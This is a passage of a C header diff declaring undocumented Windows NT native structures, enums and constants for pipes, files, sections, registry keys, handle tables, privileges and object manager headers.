{ + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, * PFILE_COMPLETION_INFORMATION; + +// +// Define the NamedPipeType flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_TYPE 0x00000000 +#define FILE_PIPE_MESSAGE_TYPE 0x00000001 + +// +// Define the CompletionMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_QUEUE_OPERATION 0x00000000 +#define FILE_PIPE_COMPLETE_OPERATION 0x00000001 + +// +// Define the ReadMode flags for NtCreateNamedPipeFile +// + +#define FILE_PIPE_BYTE_STREAM_MODE 0x00000000 +#define FILE_PIPE_MESSAGE_MODE 0x00000001 + +// +// Define the NamedPipeConfiguration flags for NtQueryInformation +// + +#define FILE_PIPE_INBOUND 0x00000000 +#define FILE_PIPE_OUTBOUND 0x00000001 +#define FILE_PIPE_FULL_DUPLEX 0x00000002 + +// +// Define the NamedPipeState flags for NtQueryInformation +// + +#define FILE_PIPE_DISCONNECTED_STATE 0x00000001 +#define FILE_PIPE_LISTENING_STATE 0x00000002 +#define FILE_PIPE_CONNECTED_STATE 0x00000003 +#define FILE_PIPE_CLOSING_STATE 0x00000004 + +// +// Define the NamedPipeEnd flags for NtQueryInformation +// + +#define FILE_PIPE_CLIENT_END 0x00000000 +#define FILE_PIPE_SERVER_END 0x00000001 + + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, * PFILE_PIPE_INFORMATION; + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, * PFILE_PIPE_LOCAL_INFORMATION; + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, * PFILE_PIPE_REMOTE_INFORMATION; + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, * PFILE_MAILSLOT_QUERY_INFORMATION; + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, * PFILE_MAILSLOT_SET_INFORMATION; + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, * PFILE_REPARSE_POINT_INFORMATION; + +// +// Define the flags for NtSet(Query)EaFile service structure entries +// + +#define FILE_NEED_EA 0x00000080 + +// +// Define EA type values +// + +#define FILE_EA_TYPE_BINARY 0xfffe +#define FILE_EA_TYPE_ASCII 0xfffd +#define FILE_EA_TYPE_BITMAP 0xfffb +#define FILE_EA_TYPE_METAFILE 0xfffa +#define FILE_EA_TYPE_ICON 0xfff9 +#define FILE_EA_TYPE_EA 0xffee +#define FILE_EA_TYPE_MVMT 0xffdf +#define FILE_EA_TYPE_MVST 0xffde +#define FILE_EA_TYPE_ASN1 0xffdd +#define FILE_EA_TYPE_FAMILY_IDS 0xff01 + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION; + +typedef struct _FILE_GET_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR EaNameLength; + CHAR EaName[1]; +} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION; + +typedef struct _FILE_GET_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + SID Sid; +} FILE_GET_QUOTA_INFORMATION, * PFILE_GET_QUOTA_INFORMATION; + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, * PFILE_QUOTA_INFORMATION; + +typedef struct _FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_DIRECTORY_INFORMATION, * PFILE_DIRECTORY_INFORMATION; + +typedef struct _FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, * PFILE_FULL_DIR_INFORMATION; + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, * PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, * PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, * PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, * PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + }; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, * PFILE_OBJECTID_INFORMATION; + +typedef struct _FILE_FS_VOLUME_INFORMATION { + LARGE_INTEGER VolumeCreationTime; + ULONG VolumeSerialNumber; + ULONG VolumeLabelLength; + BOOLEAN SupportsObjects; + WCHAR VolumeLabel[1]; +} FILE_FS_VOLUME_INFORMATION, * PFILE_FS_VOLUME_INFORMATION; + +/* +** File END +*/ + +/* +** Section START +*/ + +#ifndef _SECTION_INFORMATION_CLASS +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + SectionRelocationInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; +#endif + +typedef struct _SECTIONBASICINFO { + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, * PSECTION_BASIC_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[1]; +} SECTION_IMAGE_INFORMATION, * PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[1]; +} SECTION_IMAGE_INFORMATION64, * PSECTION_IMAGE_INFORMATION64; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#define SEC_BASED 0x200000 +#define SEC_NO_CHANGE 0x400000 +#define SEC_FILE 0x800000 +#define SEC_IMAGE 0x1000000 +#define SEC_RESERVE 0x4000000 +#define SEC_COMMIT 0x8000000 +#define SEC_NOCACHE 0x10000000 +#define SEC_GLOBAL 0x20000000 +#define SEC_LARGE_PAGES 0x80000000 + +/* +** Section END +*/ + +/* +** Kernel Debugger START +*/ + +#ifndef _SYSDBG_COMMAND +typedef enum _SYSDBG_COMMAND { + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid +} SYSDBG_COMMAND, * PSYSDBG_COMMAND; +#endif + +#ifndef _SYSDBG_VIRTUAL +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, * PSYSDBG_VIRTUAL; +#endif + +/* +** Kernel Debugger END +*/ + +/* +** System Table START +*/ +#define NUMBER_SERVICE_TABLES 2 +#define SERVICE_NUMBER_MASK ((1 << 12) - 1) + +#if defined(_WIN64) + +#if defined(_AMD64_) + +#define SERVICE_TABLE_SHIFT (12 - 4) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 4) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 4) + +#else + +#define SERVICE_TABLE_SHIFT (12 - 5) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 5) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 5) + +#endif + +#else + +#define SERVICE_TABLE_SHIFT (12 - 4) +#define SERVICE_TABLE_MASK (((1 << 1) - 1) << 4) +#define SERVICE_TABLE_TEST (WIN32K_SERVICE_INDEX << 4) + +#endif + +typedef struct _KSERVICE_TABLE_DESCRIPTOR { + ULONG_PTR Base; //e.g. KiServiceTable + PULONG Count; + ULONG Limit;//e.g. KiServiceLimit + PUCHAR Number; //e.g. KiArgumentTable +} KSERVICE_TABLE_DESCRIPTOR, * PKSERVICE_TABLE_DESCRIPTOR; +/* +** System Table END +*/ + + +/* +** System Boot Environment START +*/ + +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1 // Size=20 +{ + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1, * PSYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1; + +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION // Size=32 +{ + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; + unsigned __int64 BootFlags; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, * PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; + +/* +** System Boot Environment END +*/ + +/* +** Mutant START +*/ + +#ifndef _MUTANT_INFORMATION_CLASS +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation +} MUTANT_INFORMATION_CLASS; +#endif + +#ifndef _MUTANT_BASIC_INFORMATION +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, * PMUTANT_BASIC_INFORMATION; +#endif + +/* +** Mutant END +*/ + +/* +** Key START +*/ + +#ifndef _KEY_INFORMATION_CLASS +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; +#endif + +#ifndef _KEY_FULL_INFORMATION +typedef struct _KEY_FULL_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, * PKEY_FULL_INFORMATION; +#endif + +#ifndef _KEY_BASIC_INFORMATION +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, * PKEY_BASIC_INFORMATION; +#endif + +#ifndef _KEY_VALUE_INFORMATION_CLASS +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; +#endif + +#ifndef _KEY_VALUE_BASIC_INFORMATION +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, * PKEY_VALUE_BASIC_INFORMATION; +#endif + +#ifndef _KEY_VALUE_FULL_INFORMATION +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size + // Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, * PKEY_VALUE_FULL_INFORMATION; +#endif + +#ifndef _KEY_VALUE_PARTIAL_INFORMATION +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, * PKEY_VALUE_PARTIAL_INFORMATION; +#endif + +#ifndef _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, * PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; +#endif + +#ifndef _KEY_VALUE_ENTRY +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, * PKEY_VALUE_ENTRY; +#endif + +/* +** Key END +*/ + +/* +** IoCompletion START +*/ + +#ifndef _IO_COMPLETION_INFORMATION_CLASS +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; +#endif + +#ifndef _IO_COMPLETION_BASIC_INFORMATION +typedef struct _IO_COMPLETION_BASIC_INFORMATION { + LONG Depth; +} IO_COMPLETION_BASIC_INFORMATION, * PIO_COMPLETION_BASIC_INFORMATION; +#endif + +/* +** IoCompletion END +*/ + +/* +** Event START +*/ + +// +// Event Specific Access Rights. +// + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef struct _EVENT_BASIC_INFORMATION { + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, * PEVENT_BASIC_INFORMATION; + +/* +** Event END +*/ + +/* +** TIME_FIELDS START +*/ + +#ifndef CSHORT +typedef short CSHORT; +#endif +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS* PTIME_FIELDS; + +/* +** TIME_FIELDS END +*/ +typedef struct _SYSTEM_MODULE_ENTRY_INFO +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} SYSTEM_MODULE_ENTRY_INFO, * PSYSTEM_MODULE_ENTRY_INFO; + +typedef struct _SYSTEM_MODULE_INFORMATION +{ + ULONG NumberOfModules; + SYSTEM_MODULE_ENTRY_INFO Modules[1]; +} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; +/* +** HANDLE START +*/ + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { + PVOID Object; + ULONG_PTR UniqueProcessId; + ULONG_PTR HandleValue; + ULONG GrantedAccess; + USHORT CreatorBackTraceIndex; + USHORT ObjectTypeIndex; + ULONG HandleAttributes; + ULONG Reserved; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; + +typedef struct _SYSTEM_HANDLE_INFORMATION_EX { + ULONG_PTR NumberOfHandles; + ULONG_PTR Reserved; + SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; +} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; + +/* +** HANDLE END +*/ + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +/* +** OBJECT MANAGER START +*/ + +// +// Header flags +// + +#define OB_FLAG_NEW_OBJECT 0x01 +#define OB_FLAG_KERNEL_OBJECT 0x02 +#define OB_FLAG_CREATOR_INFO 0x04 +#define OB_FLAG_EXCLUSIVE_OBJECT 0x08 +#define OB_FLAG_PERMANENT_OBJECT 0x10 +#define OB_FLAG_DEFAULT_SECURITY_QUOTA 0x20 +#define OB_FLAG_SINGLE_HANDLE_ENTRY 0x40 +#define OB_FLAG_DELETED_INLINE 0x80 + +// +// InfoMask values +// + +#define OB_INFOMASK_PROCESS_INFO 0x10 +#define OB_INFOMASK_QUOTA 0x08 +#define OB_INFOMASK_HANDLE 0x04 +#define OB_INFOMASK_NAME 0x02 +#define OB_INFOMASK_CREATOR_INFO 0x01 + +typedef PVOID* PDEVICE_MAP; + +typedef struct _OBJECT_DIRECTORY_ENTRY { + PVOID ChainLink; + PVOID Object; + ULONG HashValue; +} OBJECT_DIRECTORY_ENTRY, * POBJECT_DIRECTORY_ENTRY; + +typedef struct _EX_PUSH_LOCK { + union + { + ULONG Locked : 1; + ULONG Waiting : 1; + ULONG Waking : 1; + ULONG MultipleShared : 1; + ULONG Shared : 28; + ULONG Value; + PVOID Ptr; + }; +} EX_PUSH_LOCK, * PEX_PUSH_LOCK; + +typedef struct _OBJECT_NAMESPACE_LOOKUPTABLE { + LIST_ENTRY HashBuckets[37]; + EX_PUSH_LOCK Lock; + ULONG NumberOfPrivateSpaces; +} OBJECT_NAMESPACE_LOOKUPTABLE, * POBJECT_NAMESPACE_LOOKUPTABLE; + +typedef struct _OBJECT_NAMESPACE_ENTRY { + LIST_ENTRY ListEntry; + PVOID NamespaceRootDirectory; + ULONG SizeOfBoundaryInformation; + ULONG Reserved; + UCHAR HashValue; + ULONG Alignment; +} OBJECT_NAMESPACE_ENTRY, * POBJECT_NAMESPACE_ENTRY; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[37]; + EX_PUSH_LOCK Lock; + PDEVICE_MAP DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; + ULONG Flags; +} OBJECT_DIRECTORY, * POBJECT_DIRECTORY; + +typedef struct _OBJECT_HEADER_NAME_INFO { + POBJECT_DIRECTORY Directory; + UNICODE_STRING Name; + ULONG QueryReferences; +} OBJECT_HEADER_NAME_INFO, * POBJECT_HEADER_NAME_INFO; + +typedef struct _OBJECT_HEADER_CREATOR_INFO {// Size=32 + LIST_ENTRY TypeList; // Size=16 Offset=0 + PVOID CreatorUniqueProcess; // Size=8 Offset=16 + USHORT CreatorBackTraceIndex; // Size=2 Offset=24 + USHORT Reserved; // Size=2 Offset=26 +} OBJECT_HEADER_CREATOR_INFO, * POBJECT_HEADER_CREATOR_INFO; + +typedef struct _OBJECT_HANDLE_COUNT_ENTRY {// Size=16 + PVOID Process; // Size=8 Offset=0 + struct + { + unsigned long HandleCount : 24; // Size=4 Offset=8 BitOffset=0 BitCount=24 + unsigned long LockCount : 8; // Size=4 Offset=8 BitOffset=24 BitCount=8 + }; +} OBJECT_HANDLE_COUNT_ENTRY, * POBJECT_HANDLE_COUNT_ENTRY; + +typedef struct _OBJECT_HEADER_HANDLE_INFO // Size=16 +{ + union + { + PVOID HandleCountDataBase; // Size=8 Offset=0 + struct _OBJECT_HANDLE_COUNT_ENTRY SingleEntry; // Size=16 Offset=0 + }; +} OBJECT_HEADER_HANDLE_INFO, * POBJECT_HEADER_HANDLE_INFO; + +typedef struct _OBJECT_HEADER_PROCESS_INFO { // Size=16 + PVOID ExclusiveProcess; // Size=8 Offset=0 + unsigned __int64 Reserved; // Size=8 Offset=8 +} OBJECT_HEADER_PROCESS_INFO, * POBJECT_HEADER_PROCESS_INFO; + +typedef struct _OBJECT_HEADER_QUOTA_INFO { + ULONG PagedPoolCharge; //4 + ULONG NonPagedPoolCharge; //4 + ULONG SecurityDescriptorCharge; //4 + PVOID SecurityDescriptorQuotaBlock; //sizeof(pointer) + unsigned __int64 Reserved; //sizeof(uint64) +} OBJECT_HEADER_QUOTA_INFO, * POBJECT_HEADER_QUOTA_INFO; + +typedef struct _QUAD { + union + { + INT64 UseThisFieldToCopy; + float DoNotUseThisField; + }; +} QUAD, * PQUAD; + +typedef struct _OBJECT_CREATE_INFORMATION { + ULONG Attributes; + PVOID RootDirectory; + CHAR ProbeMode; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG SecurityDescriptorCharge; + PVOID SecurityDescriptor; + PSECURITY_QUALITY_OF_SERVICE SecurityQos; + SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; +} OBJECT_CREATE_INFORMATION, * POBJECT_CREATE_INFORMATION; + +typedef enum _POOL_TYPE { + NonPagedPool = 0, + NonPagedPoolExecute = 0, + PagedPool = 1, + NonPagedPoolMustSucceed = 2, + DontUseThisType = 3, + NonPagedPoolCacheAligned = 4, + PagedPoolCacheAligned = 5, + NonPagedPoolCacheAlignedMustS = 6, + MaxPoolType = 7, + NonPagedPoolBase = 0, + NonPagedPoolBaseMustSucceed = 2, + NonPagedPoolBaseCacheAligned = 4, + NonPagedPoolBaseCacheAlignedMustS = 6, + NonPagedPoolSession = 32, + PagedPoolSession = 33, + NonPagedPoolMustSucceedSession = 34, + DontUseThisTypeSession = 35, + NonPagedPoolCacheAlignedSession = 36, + PagedPoolCacheAlignedSession = 37, + NonPagedPoolCacheAlignedMustSSession = 38, + NonPagedPoolNx = 512, + NonPagedPoolNxCacheAligned = 516, + NonPagedPoolSessionNx = 544 +} POOL_TYPE; + +typedef struct _OBJECT_TYPE_INITIALIZER_V1 { + USHORT Length; + BOOLEAN UseDefaultObject; + BOOLEAN Reserved1; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + BOOLEAN MaintainTypeList; + UCHAR Reserved2; + BOOLEAN PagedPool; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER_V1, * POBJECT_TYPE_INITIALIZER_V1; + +typedef struct _OBJECT_TYPE_INITIALIZER_V2 {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 